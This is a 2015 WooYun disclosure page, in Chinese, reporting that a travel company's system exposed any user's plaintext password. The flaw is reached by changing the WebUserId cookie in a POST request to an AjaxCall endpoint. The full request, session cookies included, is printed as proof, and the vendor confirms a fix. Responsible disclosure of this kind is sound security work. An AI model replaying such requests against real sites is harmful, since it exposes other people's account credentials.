当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092232

漏洞标题：苏州同程六合一系统任意密码查看

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者： 0x70

提交时间：2015-01-16 18:57

修复时间：2015-03-02 18:58

公开时间：2015-03-02 18:58

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-16： 细节已通知厂商并且等待厂商处理中
2015-01-16： 厂商已经确认，细节仅向厂商公开
2015-01-26： 细节向核心白帽子及相关领域专家公开
2015-02-05： 细节向普通白帽子公开
2015-02-15： 细节向实习白帽子公开
2015-03-02： 细节向公众公开

简要描述：

苏州同程六合一系统任意密码查看,非重置

详细说明：

在/AjaxCall.aspx?action=getLogininfojson 这个文件中,通过修改WebUserId 可以查看任意人的密码(自己需登录)

POST /AjaxCall.aspx?action=getLogininfojson&s=0.11141269654035568 HTTP/1.1
Host: www.tycts.com
Proxy-Connection: keep-alive
Content-Length: 0
Accept: */*
Origin: http://www.tycts.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://www.tycts.com/MyInfo.aspx?ordertype=info
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=rxzvlbuanibb1255wvkepjal; BIGipServerwww-51zfx-net-pool=218239148.20480.0000; __guid=75721363.1926000193762423300.1421116669916.0813; BRIDGE_R4310444=http://www.17u.net/ruanjian/partner.html; BRIDGE_REFRESH=5000; baidu_qiao_v3_count_4310444=1; WebUserId=4382242; count=55; BRIDGE_NEED=1; BRIDGE_CLOCK=1421120009902; Hm_lvt_2841fed4a68fb526142569e3f9d05648=1421116670; Hm_lpvt_2841fed4a68fb526142569e3f9d05648=1421120020; CNZZDATA1000282837=2109187164-1421116662-http%253A%252F%252Fwww.17u.net%252F%7C1421116662; VERSION=2,0,0,0; BRIDGE_INVITE_0=0; Hm_lvt_3748d7f8030fc02d4fe81c616d50b2da=1421116670; Hm_lpvt_3748d7f8030fc02d4fe81c616d50b2da=1421120021


漏洞证明：

查看自己的

p1.png


p2.png


p3.png


p4.png


修复方案：

版权声明：转载请注明来源 0x70@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-16 21:05

厂商回复：

感谢关注同程旅游，感谢洞主提前通知，下午已安排修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-16 20:32 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:207 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    乌云现在就缺我这种默默顶贴从来不求脸熟的雷锋

  2. 2015-01-16 20:48 | 0x70 ( 普通白帽子 | Rank:228 漏洞数:32 | 正在输入中....)

    @猪猪侠 模板雷锋

  3. 2015-01-16 21:36 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:269 | Just for fun.)

    @猪猪侠 求什么脸熟啊，若不是猎头，就是专门社工各种大侠和王子的。。。。

  4. 2015-02-16 10:53 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法？)

    明文存储？

  5. 2015-03-02 20:33 | 苏州同程旅游网络科技有限公司(乌云厂商)

    @Neeke 我看到图的时候也发现了，最后讨论下来改成加密存储，把几百个账户密码重置了一遍。

  6. 2015-03-03 00:12 | 静默 ( 路人 | Rank:8 漏洞数:1 | 安全小白)

    这个屌